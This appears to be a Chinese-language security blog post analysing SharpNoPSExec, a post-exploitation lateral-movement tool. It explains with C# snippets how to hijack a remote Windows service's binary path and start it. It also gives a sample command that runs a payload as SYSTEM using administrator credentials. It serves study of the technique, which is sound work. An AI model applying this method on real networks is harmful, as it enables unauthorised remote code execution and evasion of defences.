前言
Github上发布了一款名叫SharpNoPSExec的工具,地址为https://github.com/juliourena/SharpNoPSExec 主要功能就是后渗透中的横向移动。而横向移动也一直是老生常谈的话题,无论是PSexec还是wmi等等都是为了快速获取其他目标的权限,而目前各类的杀软、EDR也已经对此类攻击方式做了许多的防御,那PSexec来说,默认情况下是使用服务来在目标机器上来执行代码,而也有部分防御设备是按照psexec的默认服务名来进行防御的,而其也可通过参数来设置服务名。
我们就从SharpNoPSExe该工具,来窥探Psexec的执行方法。
分析
在分析该工具之前,我们先来了解服务创建、执行的基本步骤。首先是OpenSCManagerW
SC_HANDLE OpenSCManagerW(
LPCWSTR lpMachineName,
LPCWSTR lpDatabaseName,
DWORD dwDesiredAccess
);
关于api的基本释义这里就不多说了,c# 的 demo如下:
using System;
using System.Runtime.InteropServices;
namespace Win32Test
{
class Program
{
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true,
CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName,
uint dwAccess);
static void Main(string[] args)
{
String target = "appsrv01";
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
}
}
}
服务打开后我们该使用下面的api ChangeServiceConfigA来进行操作,函数原型如下:
BOOL ChangeServiceConfigA(
SC_HANDLE hService,
DWORD dwServiceType,
DWORD dwStartType,
DWORD dwErrorControl,
LPCSTR lpBinaryPathName,
LPCSTR lpLoadOrderGroup,
LPDWORD lpdwTagId,
LPCSTR lpDependencies,
LPCSTR lpServiceStartName,
LPCSTR lpPassword,
LPCSTR lpDisplayName
);
使用方法如下,先导入函数:
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
string lpDisplayName);
然后调用:
string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null, null);
此时便可以将指定服务的程序,替换为自定义程序。
然后就是开启服务,api为StartService ,原型如下:
BOOL StartServiceA(
SC_HANDLE hService,
DWORD dwNumServiceArgs,
LPCSTR *lpServiceArgVectors
);
导入调用:
[DllImport("advapi32", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[]
lpServiceArgVectors);
bResult = StartService(schService, 0, null);
然后这就是本地服务操作的基本流程了。但是我们需要操作的远程计算机所以又用到了下面的函数:
BOOL LogonUserA(
LPCSTR lpszUsername,
LPCSTR lpszDomain,
LPCSTR lpszPassword,
DWORD dwLogonType,
DWORD dwLogonProvider,
PHANDLE phToken
);
BOOL ImpersonateLoggedOnUser(
HANDLE hToken
);
那么目前我们的执行流程也就有了:
登录用户-----> 打开远程服务 -----> 设置服务执行程序为我们的payload -----> 开启服务
SharpNoPSExec也是这样来做的:
利用
SharpNoPSExec.exe --target=192.168.2.110 --payload="c:\windows\system32\cmd.exe /c calc.exe" --username=administrator --password=abc123!
目前成功开启calc进程,权限为system
▼
更多精彩推荐,请关注我们
▼